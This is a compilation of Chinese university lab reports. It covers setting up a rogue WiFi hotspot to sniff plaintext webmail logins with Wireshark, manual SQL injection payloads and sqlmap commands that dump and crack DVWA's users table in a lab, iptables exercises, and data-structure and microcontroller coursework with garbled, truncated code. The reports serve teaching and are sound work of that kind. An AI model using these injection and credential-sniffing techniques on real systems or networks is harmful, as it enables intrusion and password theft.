1.开始菜单-->命令提示符(cmd)-->右键,以管理员身份运行
2.运行以下命令启用虚拟网卡>netsh wlan set hostednetwork mode=allow ssid=(这里写无线网名字)key=(这里是密码)
3.网络共享中心-->更改高级适配器设臵-->右键已连接到Internet 的网络连接-->属性-->切换
到“共享”选项卡,选中其中的复选框,并选择允许其共享Internet 的网络连接,这里即我们的虚拟WIFI 网卡
4.开启无线网络,继续在命令提示符中运行以下命令:>netsh wlan start hostednetwork即可开启我们之前设臵好的无线网络(相当于打开路由器的无线功能)
步骤二WIFI 钓鱼工具:其他笔记本或手机、Wareshark 步骤
1.搜索到刚刚设臵的WIFI:dave,连接上(密码为刚刚设臵的key:12345678)2.在笔记本上打开wareshark,选择capture-->interfaces
3.选择Packets 最多的项,点击start 按钮
4.在手机或笔记本上打开中南大学邮箱网站:http://mail.csu.edu.cn/,在主机上用wareshark 捕捉http 的包(这里大家可以自由实验,能监控到连接到该WIFI 的机器的所有包的情况)
5.在手机或笔记本上输入用户名和密码,点击登录
6.在主机上用wareshark 捕捉到刚刚post 提交的http 包,右键选择Follow tcp stream
7.可以看到刚刚提交的用户名和密码,且是未经过加密的
五、实验感想
通过这次实验,我实际地模拟了一次入侵者通过假设钓鱼WIFI网络,来窃取连接此网络的用户的密码信息过程。整个过程中我成功地完成了对各种用户数据抓包,并分析出用户密码。
这让我对wifi网络产生了新的看法,我意识到了链接wifi网络过程当中存在很多安全隐患,如果被图谋不轨的人利用到,一旦泄露商业机密等重要信息,势必会产生重大的经济损失。
随着人们的生活越来越离不开网络,也越来越离不开移动手机,一般的公共厂商都已经将wifi作为基础服务进行提供,譬如在星巴克、麦当劳等公共场所边点杯热饮边“蹭网”,已经是一个基本的习惯了,甚至一些大型的电信提供商已经尝试将wifi作为一个基础的接入。如今公共的wifi很多,尤其是免费的,手机上还有帮助寻找免费wifi的各类app。很多人为了省流量,看到免费的wifi,总会去连接一下尝试网上冲浪。不过,在这些免费的wifi以及大家使用wifi的习惯,加上手机及app的默认行为,就可以导致一些严重安全问题。
实验三 SQL注入攻击
一.实验目的
是了解sql注入攻击的原理,掌握网站的工作机制,认识到SQL注入攻击的防范措施,加强对Web攻击的防范。
二.实验原理
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配臵或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。
三.实验环境
虚拟机WindowsXP系统、Windows2003系统。dvwa(Dam Vulnerable Web Application)工具,sqlmap SQL注入工具、四.实验过程
【实验一:dvwa手动sql注入】
1、连接好虚拟机拓扑图,配臵WindowsXP Client和Windows XP Server的IP使其在同一个局域网网段。
2、打开Server端的xampp,启动apache和mysql。打开Client的浏览器,访问Server的IP/dvwa,如“192.168.1.32/dvwa”,登陆账户为admin,密码为password
3、选择SQLInjection,点击右下角的ViewSource,查看PHP源代码。
4、正常测试,输入“1”,得到正常结果,如下所示。
5、当将输入变为“'”时,页面提示错“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear'''''atline1”,结果如图。看到这个结果,可以知道,这个表单存在着注入漏洞。
6、尝试输入:“1’or 1=1–”注意“--”后面有空格!此时成功进行sql注入。
7、测试查询信息列数。利用语句order by num。这里输入“ 1'order by 1--” 结果页面正常显示,注意--后面有空格。继续测试,“ 1'order by 2--”,“ 1'order by 3--”,当输入3是,页面报错。页面错误信息如下,Unknown column '3' in 'order clause',由此查询结果值为2列。
8、尝试注入“1' and 1=2 union select 1,2--”,从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,利用内臵函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:“1' and 1=2 union select user(),database()--”。
9、选择DVWA Security,将安全级别分别设臵为中、高。再运行上面的实验sql语句,结合右下角的ViewSource,分析三种等级的代码和sql注入效果有何区别。在安全级别分别设臵为低时,结合PHP源代码,考虑不采用“--”的情形下,完成sql注入,写出sql注入语句。
【实验二:sqlmap测试dvwa】
1、打开Server端的xampp,启动apache和mysql。打开Client的浏览器,访问Server的IP/dvwa,如“192.168.1.32/dvwa”,登陆账户为admin,密码为password。选择DVWA Security,将安全级别分别设臵为低。
2、选择XSS reflected,输入“
3、使用sqlmap查找注入点,打开Client端的控制台窗口,转到目录“C:Python27sqlmap”,输入以下命令,注意!“192.168.1.32”表示Server的IP,“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”表示上一步所获得的cookie值,请同学们按照实际环境填写相应的值!“sqlmap.py-u http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6””。
依据以下信息,得到可能的注入点是id,数据库是mysql。
[INFO] heuristic(basic)test shows that GET parameter 'id' might be injectable(possible DBMS: 'MySQL')
[INFO] GET parameter 'id' is 'MySQL UNION query(NULL)-1 to 20 columns' injectable
4、输入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”--current-db”得到当前数据库名。
current database: 'dvwa'
5、输入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”--current-db--tables-Ddvwa”得到数据库所有表。
6、输入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”-T users--columns”得到user表的所有列。
7、输入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”-T users--dump”得到user表的所有列,在sqlmap询问时候破解密码时,选择是,sqlmap会使用自己的字典来破解密码,得到5个用户的密码。此时就完成了利用sqlmap进行“拖库”的基本步骤。五.实验感想
通过实验,我明白了带有参数的动态网页,很多都是没有进行过滤的。如果能够被SQL注入工具,就存在安全隐患,有可能就因为这个漏洞,入侵者就可以得到登录权限并控制整个服务器。
从实验可以看出,只要是带有参数的动态网页,且此网页访问了数据库,就有可能存在SQL注入攻击,因此SQL注入攻击潜在的发生概率相对于其他Web攻击要高很多,危害面也更广。其主要危害包括:获取系统控制权、未经授权状况下操作数据库的数据、恶意篡改网页内容、私自添加系统帐号或数据库使用者帐号等。
目前基于数据库的网络应用越来越多。与此同时,用于搜索SQL注入点的软件在网络上随处可见,攻击者只需要具备少量的专业知识就可以利用这些软件寻找目标进行攻击。攻击目标和攻击者的增加使得SQL注入攻击在近几年出现扩大的趋势
为了防止SQL注入带来的危害,在网站开发的过程中,需要对需要输入参数的模块进行过滤,并加入相关权限认证模块。
实验四 配置和管理主机防火墙
一.实验目的
1.学习配臵和管理主机防火墙,介绍如何配臵linux 防火墙。2.掌握linux 下基本的iptables 知识,学会配臵iptables
二.实验原理
对于Internet 上的系统,不管是什么情况,首先我们要明确一点:网络是不安全的。因此,虽然创建一个防火墙并不能保证系统100%安全,但却是绝对必要的。和社会上其它任何事物一样,Internet 经常会受到一些无聊的或者别有用心的人的干扰,防火墙的目的就是将这类人挡在你的网络之外,同时使你仍然可以完成自己的工作。因为不同的应用环境对安全的要求不一样。用一句比较恰当而且简单的话来回答这个问题:用户了解自己的Linux 系统和设臵,并且可以很好地保护好自己的数据和机密文件的安全,这对于该计算机用户来说就可以称之为他的计算机有足够的安全性。防火墙是一个或一组系统,它在网络之间执行访问控制策略。实现防火墙的实际方式各不相同,但是在原则上,防火墙可以被认为是这样一对机制:一种机制是拦阻传输流通行,另一种机制是允许传输流通过。一些防火墙偏重拦阻传输流的通行,而另一些防火墙则偏重允许传输流通过。了解有关防火墙的最重要的概念可能就是它实现了一种访问控制策略。
一般来说,防火墙在配臵上是防止来自“外部”世界未经授权的交互式登录的。这大大有助于防止破坏者登录到你网络中的计算机上。一些设计更为精巧的防火墙可以防止来自外部的传输流进入内部,但又允许内部的用户可以自由地与外部通信。如果你切断防火墙的话,它可以保护你免受网络上任何类型的攻击。防火墙的另一个非常重要的特性是可以提供一个单独的“拦阻点”,在“拦阻点”上设臵安全和审计检查。与计算机系统正受到某些人利用调制解调器拨入攻击的情况不同,防火墙可以发挥一种有效的“电话监听”和跟踪工具的作用。防火墙提供了一种重要的记录和审计功能;它们经常可以向管理员提供一些情况概要,提供有关通过防火墙的传输流的类型和数量,以及有多少次试图闯入防火墙的企图等信息。
三.实验环境
虚拟机:linux,windowsXP;linux 主机用户名:root;密码:root 四.实验过程 1.查看规则表
# iptables-L INPUT--line-numbers //查看filter表中INPUT链中的所有规则,同时显示各条规则的顺序号
2.删除、清空规则
# iptables-F //不指定表名时,默认情况filter表
3.设臵规则链默认策略
# iptables-t filter-P FORWARD DROP //将filter表中FORWARD规则的默认策略设为DROP # iptables-P OUTPUT ACCEPT //将filter表中OUTPUT规则的默认策略设为ACCEPT 4.通用(general)条件匹配(直接使用,而不依赖于其他的条件匹配及其扩展)协议匹配(允许使用的协议名包含在/etc/protocols文件中)# iptables-AINPUT-p icmp–j REJECT //拒绝进入防火墙的所有icmp数据包
地址匹配
拒绝转发来自192.168.1.11主机的数据,允许转发来自192.168.0./24网段的数据
# iptables-A FORWARD-s 192.168.1.11-j REJECT
5.隐含(implicit)条件匹配(需要指定的协议匹配为前提,其对应的功能由iptables自动(隐含)的装载入内核),如果无匹配条件,默认为REJECT。端口匹配
仅允许系统管理员从202.13.0.0/16网段使用SSH方式远程登录防火墙主机 # iptables-A INPUT-p tcp--dport 22-s 202.13.0.0/16-j ACCEPT # iptables-A INPUT-p tcp--dport 22-j DROP
6.禁止Windows主机ping防火墙linux主机,但是允许从防火墙上ping其他主机(允许接受ICMP回应数据)配臵linux防火墙主机ip地址,如下图所示:
7.配臵windows 主机ip 地址,如下图所示:
8.配臵linux 主机防火墙规则,如下图所示:
9.在此在windows 主机和linux 主机上进行相互ping 测试,测试结果如下图所示:
五.实验感想
通过本次实验,掌握了防火墙保护PC机避免被攻击的方法;在实验中,要先设臵规则,这样PC1和PC2之间就可以相互通信,方便做模拟实验;防火墙在抗攻击过程中起到了很好的作用,保护主机免受外来攻击。
锻炼了解决问题的能力。比如两个主机之间不能连通,问题可能有:双绞线本身有问题导致不能连通,电脑网卡未打开导致不连通等等。连通与否可以通过用Ping命令检查网络连接状况,其中在登录和设臵防火墙的时候也遇到很多问题,但是总的来说是完成了相关的实验,并利用基本的网络知识,锻炼了实践动手能力。通过具体的操作,基本掌握了防火墙抗攻击的配臵方式与方法,更加深入的了解防火墙的重要作用。
了解了防火墙的基本操作及原理,为以后打下基础,虽然各个厂商,各种产品的具体操作不一样,但是基本原理是相通的,通晓原理便可举一反三。同时培养了冷静分析解决问题的能力。
第三篇:中南大学 数据结构实验报告
数据结构实验报告
专业班级: 指导老师:余腊生 姓
名: 学
号: 实验一 单链表的基本操作的实现
一、实验目的
掌握单链表的基本操作:建立、插入、删除、查找等运算。
二、实验仪器
安装VC++的PC机。
三、实验原理
利用线性表的特性以及其链式存储结构特点对线性表进行相关操作。
四、实验内容
程序中演示了单链表的创建、插入、删除和查找。程序如下:
#include
scanf(“%d”,&x);while(x!=-1){ p=(NODE *)malloc(sizeof(NODE));p->data=x;p->next=head->next;head->next=p;scanf(“%d”,&x);} return(head);} /******************************************/ void Output(NODE *head){ NODE *p;p=head;printf(“Begin to dump the LinkList...n”);while(p->next!=NULL){ printf(“->%d”,p->next->data);p=p->next;} printf(“nThe LinkList ended!n”);} /******************************************/ int Listlen(NODE *head){ int i=0;NODE *p=head;while(p->next!=NULL){ i++;p=p->next;} return(i);} /******************************************/ int Get(NODE *head,int i){ int j=0;NODE *p=head;while(p->next&&jnext;} if(!p->next||j>i)return(0);else return(p->data);} /******************************************/ void Del(NODE *head,int i){ NODE *p=head;int j=0;while(p->next&&j
五、数据记录及处理
1、运行程序,输入下面一组数据: 93 94 12 13 20 14 链表顺序:14 20 13 12 94 93
2、删除第二个数据结点,在第一个位置插入数据20。
运行结果如下: 插入结果:14 13 12 94 93 删除结果:20 14 13 12 94 93 运行结果截图:
实验二 栈和队列的实现
一、目的和要求
1.理解队列和栈的顺序存储结构和链式存储结构。通过本实验,熟悉队列、栈的结构特点; 2.熟悉队列、栈结构上的操作与算法的实现。
二、实验内容
1.队列的基本操作和应用。2.栈的基本操作和应用。
三、仪器、设备和材料
1.适合实验要求的计算机系统。2.VC++编程平台。
四、实验原理
队列与栈是一种操作受限制的线性表,在了解线性表的基本原理的基础上,理解与完成此项实验。
五、实验步骤
1.采用队列的顺序存储结构。
2.用菜单的形式完成队列的建立,出队,入队等基本操作。3.采用栈的链式存储结构。
4.用菜单的形式完成栈的出栈、入栈等基本操作。
六、程序算法
#include
SElemType *top;}SqStack;
SqStack InitStacka()//顺序存储实现栈的初始化 {SqStack S;S.base=(SElemType *)malloc(MAX*sizeof(SElemType));if(!S.base)exit(OVERFLOW);S.top=S.base;return(S);}
void Pusha(SqStack &S,int x)//顺序存储实现栈的入栈操作 {if(S.top-S.base>=MAX)exit(OVERFLOW);*S.top++=x;}
void Popa(SqStack &S)//顺序存储实现栈的出栈操作 {SElemType *p;int x;if(S.top==S.base)return;else {p=S.top;x=*--S.top;printf(“t删除的栈顶元素是%dnt出栈操作完成后的栈为:n”,x);} } void printa(SqStack S)//输出 {SElemType *p;p=S.base;printf(“t”);while(p!=S.top){printf(“%d ”,*(p++));} printf(“n”);}
typedef struct SqNode {SElemType data;SqNode *Link;}*Sqptr,NODE;typedef struct {Sqptr top;}Stack;
Stack InitStackb()//链式存储实现栈的初始化 {Stack S;S.top=(Sqptr)malloc(sizeof(NODE));if(!S.top)exit(OVERFLOW);S.top->Link=NULL;return(S);}
void Pushb(Stack &S,int x)//链式存储实现栈的入栈操作 {Sqptr p;p=(Sqptr)malloc(sizeof(NODE));if(!p)return;p->data=x;p->Link=S.top->Link;S.top->Link=p;}
void Popb(Stack &S)//链式存储实现栈的出栈操作 {int x;Sqptr p;if(S.top->Link==NULL)return;else {p=S.top->Link;
x=p->data;
S.top->Link=p->Link;
printf(“t删除的栈顶元素是%dn”,x);
free(p);} }
typedef struct QNode {QElemType data;struct QNode *next;}*QueuePtr,QNode;typedef struct {QueuePtr front;QueuePtr rear;}LinkQueue;LinkQueue InitQueue()//链式存储实现队列的初始化 {LinkQueue Q;Q.front=Q.rear=(QueuePtr)malloc(sizeof(QNode));if(!Q.front)exit(OVERFLOW);Q.front->next=NULL;
return(Q);} void EnQueue(LinkQueue &Q,QElemType x)//链式存储实现队列的入队 {QueuePtr p;p=(QueuePtr)malloc(sizeof(QNode));if(!p)exit(OVERFLOW);p->data=x;p->next=NULL;Q.rear->next=p;Q.rear=p;} void DeQueue(LinkQueue &Q)//链式存储实现队列的出队 {int x;if(Q.front==Q.rear)return;QueuePtr p;p=Q.front->next;x=p->data;printf(“t删除的队头元素是:%dn”,x);Q.front->next=p->next;if(Q.rear==p)Q.rear=Q.front;free(p);return;}
typedef struct {SElemType *base;int front,rear;}SqQueue;SqQueue InitQueueb()//顺序存储实现队列的初始化 {SqQueue S;S.base=(SElemType *)malloc(MAX*sizeof(SElemType));if(!S.base)exit(OVERFLOW);S.front=S.rear=0;return(S);} void EnQueueb(SqQueue &S,int x)
//顺序存储实现队列的入队 {if((S.rear+1)%MAX==S.front)return;S.base[S.rear]=x;S.rear=(S.rear+1)%MAX;} void DeQueueb(SqQueue &S)//顺序存储实现队列的出队 {int x;if(S.front==S.rear)return;x=S.base[S.front];S.front=(S.front+1)%MAX;printf(“t删除的队头元素是:%dn”,x);} void main(){int choice;int n,x;printf(“nn”);printf(“t1.采用链式存储实现栈的初始化、入栈、出栈操作n”);printf(“t2.采用顺序存储实现栈的初始化、入栈、出栈操作n”);printf(“t3.采用链式存储实现队列的初始化、入队、出队操作n”);printf(“t4.采用顺序存储实现队列的初始化、入队、出队操作n”);printf(“t请选择:”);scanf(“%d”,&choice);switch(choice){case 1:Stack Sa;
printf(“t1.链式存储实现栈的初始化n”);
printf(“t2.链式存储实现栈的入栈操作n”);
printf(“t3.链式存储实现栈的出栈操作n”);
while(1){
printf(“t请选择:”);
scanf(“%d”,&n);
switch(n)
{case 1:Sa=InitStackb();
printf(“t链式存储栈的初始化完成!n”);break;
case 2:printf(“t以'0'结束n”);printf(“t”);
scanf(“%d”,&x);
while(x){
Pushb(Sa,x);scanf(“%d”,&x);}
printf(“t链式存储栈的入栈操作完成!n”);break;
case 3:Popb(Sa);break;}}break;
case 2:SqStack S;
printf(“t1.顺序存储实现栈的初始化n”);
printf(“t2.顺序存储实现栈的入栈操作n”);
printf(“t3.顺序存储实现栈的出栈操作n”);
while(1){
printf(“t请选择:”);
scanf(“%d”,&n);
switch(n)
{ case 1:S=InitStacka();
printf(“t顺序存储栈的初始化完成!n”);break;
case 2:printf(“t以'0'结束n”);
printf(“t”);
scanf(“%d”,&x);
while(x){
Pusha(S,x);
scanf(“%d”,&x);}
printf(“t顺序存储栈的入栈操作完成!n”);
printa(S);break;
case 3:Popa(S);
printa(S);break;}}break;
case 3:LinkQueue Q;
printf(“t1.链式存储实现队的初始化n”);
printf(“t2.链式存储实现队的入栈操作n”);
printf(“t3.链式存储实现队的出栈操作n”);
while(1){
printf(“t请选择:”);
scanf(“%d”,&n);
switch(n)
{
case 1:Q=InitQueue();
printf(“t链式存储队的初始化完成!n”);break;
case 2:printf(“t以'0'结束n”);printf(“t”);scanf(“%d”,&x);
while(x){
EnQueue(Q,x);scanf(“%d”,&x);}
printf(“t链式存储队的入栈操作完成!n”);break;
case 3:DeQueue(Q);break;}}break;
case 4:SqQueue Sv;
printf(“t1.顺序存储实现队的初始化n”);
printf(“t2.顺序存储实现队的入栈操作n”);
printf(“t3.顺序存储实现队的出栈操作n”);
while(1){
printf(“t请选择:”);
scanf(“%d”,&n);
switch(n)
{case 1:Sv=InitQueueb();
printf(“t链式存储栈的初始化完成!n”);break;
case 2:printf(“t以'0'结束n”);printf(“t”);scanf(“%d”,&x);
while(x){
EnQueueb(Sv,x);scanf(“%d”,&x);}
printf(“t链式存储栈的入栈操作完成!n”);break;
case 3: DeQueueb(Sv);break;}}break;} } 程序调试截图:
1.采用链式存储实现栈的初始化、入栈、出栈操作
2.采用顺序存储实现栈的初始化、入栈、出栈操作
3.采用链式存储实现队列的初始化、入队、出队操作
4.采用顺序存储实现队列的初始化、入队、出队操作
七、心得体会
实践才能出真知,在通过了上机操作后,才发现了许多在平时上理论课的时候没有想到的方方面面,编写程序时发现很多语法的错误,以及很多英语单词的记不熟,记错,程序函数错用等等,我想需要在以后多多练习,才能逐步解决这些问题。实验三 二叉树的建立和遍历
一、目的和要求
1、了解二叉树的建立的方法及其遍历的顺序,熟悉二叉树的三种遍历
2、检验输入的数据是否可以构成一颗二叉树
二、实验内容
1.二叉树的建立和遍历
三、仪器、设备和材料
1.适合实验要求的计算机系统。2.VC++编程平台。
四、实验的描述和算法
1、实验描述
二叉树的建立首先要建立一个二叉链表的结构体,包含根节点和左右子树。因为耳熟的每一个左右子树又是一颗二叉树,所以可以用递归的方法来建立其左右子树。二叉树的遍历是一种把二叉树的每一个节点访问完并输出的过程,遍历时根结点与左右孩子的输出顺序构成了不同的遍历方法,这个过程需要按照不同的遍历的方法,先输出根结点还是先输出左右孩子,可以用选择语句实现。
2、算法
#include
//二叉树结点类定义 { T data;
//数据域
BinTreeNode
//左子女、右子女域
BinTreeNode(T x=T(),BinTreeNode
:data(x),leftChild(l),rightChild(r){}
//可选择参数的默认构造函数 };//-----------template
//非递归前序遍历 { stack
while(p!=NULL)
{
cout<
data;
//访问根结点
S.push(p);
p=p->leftChild;
//遍历指针进到左子女结点
}
if(!S.empty())
//栈不空时退栈
{
p=S.top();
S.pop();
p = p->rightChild;
//遍历指针进到右子女结点
} } } //--template
//非递归中序遍历 { stack
while(p!=NULL)
//遍历指针未到最左下的结点,不空
{
S.push(p);
p=p->leftChild;
}
if(!S.empty())
//栈不空时退栈
{
p=S.top();
S.pop();
cout<
data;
p=p->rightChild;
} } while(p!=NULL ||!S.empty());}
//----template
while(p!= NULL ||!S.empty())
//左子树经过结点加L进栈
{
while(p!=NULL)
{
S.push(p);//首先将t和tag为入栈,遍历左子树
tag.push(0);//遍历左子树前的现场保护
p=p->leftChild;
}
while(!S.empty()&& tag.top()==1)
{
p=S.top();
S.pop();
tag.pop();
cout<
data;//最后访问根结点。
}
if(!S.empty())
{
tag.pop();
tag.push(1);//遍历右子树前的现场保护,修改栈顶tag为,遍历右子树
p=S.top();
// 取栈顶保存的指针
p=p->rightChild;
}
else
break;
} } template
if(subTree!=NULL)
//NULL是递归终止条件
{
InOrder_1(subTree->leftChild);//中序遍历根的左子树
cout<
//访问根结点
InOrder_1(subTree->rightChild);//中序遍历根的右子树
} } template
//递归结束条件
{
cout<
PreOrder_1(subTree->leftChild);
//前序遍历根的左子树
PreOrder_1(subTree->rightChild);
//前序遍历根的右子树
} } template
if(subTree!=NULL)
//NULL是递归终止条件
{
PostOrder_1(subTree->leftChild);//后序遍历根的左子树
PostOrder_1(subTree->rightChild);//后序遍历根的右子树
cout<
//访问根结点
} } //------------template
T item;
cin>>item;
if(item!=-1)
{
subTree = new BinTreeNode
if(subTree == NULL)
{
cerr<<“存储分配错!”< exit(1); } subTree->data = item; CreateBinTree(subTree->leftChild);//递归建立左子树 CreateBinTree(subTree->rightChild);//递归建立右子树 } else subTree = NULL; //封闭指向空子树的指针 } int main(){ BinTreeNode cout<<“先序遍历二叉树结果:”; PreOrder_1(Tree); cout< cout<<“后序遍历二叉树结果:”; PostOrder_1(Tree);cout< cout<<“非递归中序遍历二叉树结果:”;InOrder_2(Tree);cout< 3、实验程序运行截图 实验四 散列法查找和排序 一、目的和要求 1.用散列法实现顺序查找,折半查找。 二、仪器、设备和材料 1.适合实验要求的计算机系统。2.VC++编程平台。 三、实验步骤 和程序 1、顺序查找 #include #define NULLKEY 0 typedef int KeyType; /* 假设关键字为整型 */ typedef struct { KeyType key;}RecordType;typedef RecordType HashTable[m];int hash(KeyType k)/*除留余数法构造哈希函数*/ { int h;h = k%m;return h;} int HashSearch(HashTable ht, KeyType K)/*哈希查找*/ { int h0;int i;int hi;h0=hash(K);if(ht[h0].key==NULLKEY) return(-1);else if(ht[h0].key==K) return(h0); else /* 用线性探测再散列解决冲突 */ { for(i=1;i<=m-1;i++) { hi=(h0+i)% m; if(ht[hi].key==NULLKEY) return(-1); else if(ht[hi].key==K) return(hi); } return(-1); } } void main(){ int i,j;int n;int p;int hj;int k;int result;HashTable ht;for(i=0;i ht[i].key = NULLKEY;printf(“请输入哈希表的元素个数:”);scanf(“%d”,&n);for(i=1;i<=n;i++){ printf(“请输入第%d个元素:”,i); fflush(stdin); scanf(“%d”,&p); j = hash(p); if(ht[j].key == NULLKEY) ht[j].key = p; else { for(i=1;i<=m-1;i++) { hj=(j+i)% m; if(ht[hj].key==NULLKEY) { ht[j].key = p; } i = m; } } } } printf(“请输入要查找的元素:”);fflush(stdin);scanf(“%d”,&k);result = HashSearch(ht,k);if(result ==-1)printf(“未找到!n”);else printf(“元素位置为%dn”,result);system(“pause”);运行结果如下: 2、折半查找 #include printf(“你输入的数不正确,请重新输入:n”); printf(“你想在多少个数中进行折半查找,请输入(1--20):”); scanf(“%d”,&n);} printf(“请你输入一个整数a[1]:”);scanf(“%d”,&a[1]);i=2;while(i<=n){ printf(“请你输入一个整数a[%d]:”,i); scanf(“%d”,&a[i]); i++;} printf(“n输出表列n”);for(i=1;i<=n;i++){ printf(“%6d”,a[i]);} printf(“n”);printf(“请你输入要查找的数:”);scanf(“%d”,&num);flag=1;top=n;bottom=1;mid=(top+bottom)/2;while(flag){ printf(“top=%d,bottom=%d,mid=%d,a[i]=%dn”,top,bottom,mid,mid,a[mid]);if((num>a[top])||(num loc=-1; flag=0;} else if(a[mid]==num){ loc=mid; printf(“找到数 %6d的位置%2dn”,num,loc); break;} else if(a[mid]>num){ top=mid-1; mid=(top+bottom)/2;} else if(a[mid] bottom=mid+1; mid=(top+bottom)/2;} } if(loc==-1){ printf(“%d这个数在表列中没有找到。n”,num);} } 运行结果如下: 中南大学信息科学与工程学院微控制器技术实验报告 微控制器技术实验报告 中南大学信息科学与工程学院微控制器技术实验报告 目录 一、实验目的及要求......................................................................3 二、基本实验内容..........................................................................4 三、实验设备.................................................................................6 四、实验设计思想与结果分析......................................................9 实验一 清零程序与拆字程序设计............................................10 实验二 拼字程序与数据传送程序设计.....................................13 实验三 排序程序与散转程序设计............................................16 实验四 数字量输入输出实验....................................................18 实验五 定时器/计数器实验.........................................................21 实验六 A/D、D/A转换实验.................................................24 实验七 串行通讯实验................................................................29 五、实验总结...............................................................................34 中南大学信息科学与工程学院微控制器技术实验报告 一、实验目的及要求 1.熟练掌握Keil C51集成开发工具的操作及调试程序的方法,包 括:仿真调试与脱机运行间的切换方法; 2.熟练使用SST89C554RC单片机核心板及I/O扩展实验系统; 3.熟练掌握在Keil C51与Proteus仿真软件虚拟联机环境下,基于51单片机控制器数字接口电路的硬件、软件设计与功能调试; 4.完成MCS51单片机指令系统软件编程设计和硬件接口功能设计题; 中南大学信息科学与工程学院微控制器技术实验报告 二、基本实验内容 实验一 清零程序与拆字程序设计 根据实验指导书之“第二章 单片机原理实验”(P17~P23页)内容,熟悉实验环境及方法,完成思考题1、2(P23)基础实验项目。 实验二 拼字程序与数据传送程序设计 汇编语言完成实验指导书P24思考题3、4题的基础实验项目。 实验三 排序程序与散转程序设计 汇编语言完成实验指导书P24思考题5、6题的基础实验项目。 实验四 数字量输入输出实验 基本部分:阅读、验证C语言程序功能。使用汇编语言编程,完成实验指导书之“3.1 数字量输入输出实验”基本实验项目(P36)。 提高部分:(任选一题) 题目一:LED交通灯控制(使用8255接口芯片) 要求:使用汇编语言编程,功能为:通过开关实现LED灯工作方式即时控制,完成LED交通灯的开关控制显示功能和LED交通灯自动循环显示功能。 题目二:LED灯控制(使用8255接口芯片) 要求:使用汇编语言编程,功能为:通过KK1实现LED灯工作方式即时控制,完成LED开关控制显示和LED灯左循环、右循环、间隔闪烁功能。 题目三:键盘扫描与数码管显示设计 要求:阅读、验证P69上的C语言参考程序功能。用汇编语言完成编程与功能调试。 实验五 定时器/计数器实验 基本部分:阅读、验证C语言程序功能。使用汇编语言编程,完成实验指导书之“3.3 定时/计数器实验”基本实验项目(P40)。 提高部分:(任选一题完成) 题目一:定时器控制LED灯 要求:由单片机内部定时器1,按方式1工作,即作为16位定时器使用每0.05秒钟T1溢出中断一次。P1口的P1.0-P1.7分别接八个发光二极管。编写程序模拟时序控制装置。开机后第一秒钟L1,L3亮,第二秒钟L2,L4亮,第三秒钟L5,L7亮,第四秒钟L6,L8亮,第五秒钟L1,L3,L5,L7亮,第六秒钟L2,L4,L6,L8亮,第七秒钟八个LED灯全亮,第八秒钟全灭,以后又从头开始,L1,L3亮,然后L2,L4亮„„一直循环下去。 题目二:计数器实验 中南大学信息科学与工程学院微控制器技术实验报告 要求:单片机内部定时计数器,按计数器模式和方式1工作,对P3.4(T0)引脚进行计数。使用T1作定时器,50ms中断一次,看T0内每0.50来了多少脉冲,将其数值按二进制在LED灯上显示出来,5秒后再次测试。 题目三:急救车与交通灯(外部中断实验) 要求:完成交通灯基本功能基础上,当有急救车到达时,两向交通信号为全红,以便让急救车通过。假定急救车通过路口时间为10秒,急救车通过后,交通灯恢复中断前状态。本实验题以按键为中断申请,表示有急救车通过。 实验六 A/D、D/A转换实验 基本部分:阅读、验证C语言程序功能。使用汇编语言编程,完成实验指导书之“4.3 A/D转换实验”项目(P64)和“4.4 D/A转换实验”项目(P67)。 提高部分:(要求:Proteus环境下完成) 小键盘给定(并显示工作状态),选择信号源输出波形类型(D/A转换方式),经过A/D采样后,将采样数据用LED灯,显示当前模拟信号值大小及变化状态。 实验七 串行通讯实验 基本部分:阅读、调试C语言程序功能。使用汇编语言编程,完成实验指导书之“3.7 串口通讯实验”项目。(要求:实验仪器上完成) 提高部分:(要求:Proteus环境下完成) 题目一:利用单片机实验系统,实现与PC机通讯。功能要求:将从实验系统键盘上键入的数字,字母显示到PC机显示器上,将PC机键盘输入的字符(0-F)显示到单片机实验系统的数码管上。 题目二:进行实验 六、实验七实验内容综合。 中南大学信息科学与工程学院微控制器技术实验报告 三、实验设备 软件设备:KEIL uv2,PROTEUS7.4 硬件设备:PC机,TD-51系统板(包括SST89E554RC单片机一片、串行通信线、接口等) 1、TD-51系统板 1 系统构成 ○TD-51 系统板为开放的最小单片机系统,采用具有在系统可编程和在应用可编程技术的增强型51 单片机,单片机内置仿真程序,可以实现调试、仿真功能,配合TD 系列微机接口教学 实验平台可开展单片机原理及应用的实验教学。系统功能特点 ○1.取代硬件仿真器的增强型单型 系统采用具有在系统可编程(ISP)和在应用可编程(IAP)技术的增强型51 单片机,单片机内置仿真程序,完全取代传统的硬件仿真器和编程器。这种先进的单片机将仿真系统和应用系统合二为一,大大降低了应用开发成本,极大地提高了研发效率。把单片机的仿真开发和应用设计提高到一个崭新的技术领域。 2.先进的集成开发调试调 使用业界著名的Keil C51 集成开发环境作为实验设计、调试的工具。Keil C51 提供了强大的调试功能,可单步、断点、全速运行程序,可观察寄存器区、ROM 变量区、RAM 变量区等的内容。支持汇编语言和C 语言的源语言调试。 3.灵活的组合组 